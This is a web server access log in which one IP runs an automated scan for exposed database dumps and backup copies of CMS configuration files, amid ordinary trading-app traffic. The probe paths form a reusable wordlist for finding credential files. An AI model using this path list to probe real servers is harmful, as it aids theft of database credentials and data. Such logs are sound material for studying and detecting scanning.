[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927785384 HTTP/1.1" -
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927783066 HTTP/1.1" -
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927800235 HTTP/1.1" -
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.original HTTP/1.1" 196
[09/Jan/2026:10:58:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.original HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.backup HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927788085 HTTP/1.1" -
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927790538 HTTP/1.1" -
[09/Jan/2026:10:58:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927806234 HTTP/1.1" -
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.backup HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.backup HTTP/1.1" 196
[09/Jan/2026:10:58:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:58:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927793129 HTTP/1.1" -
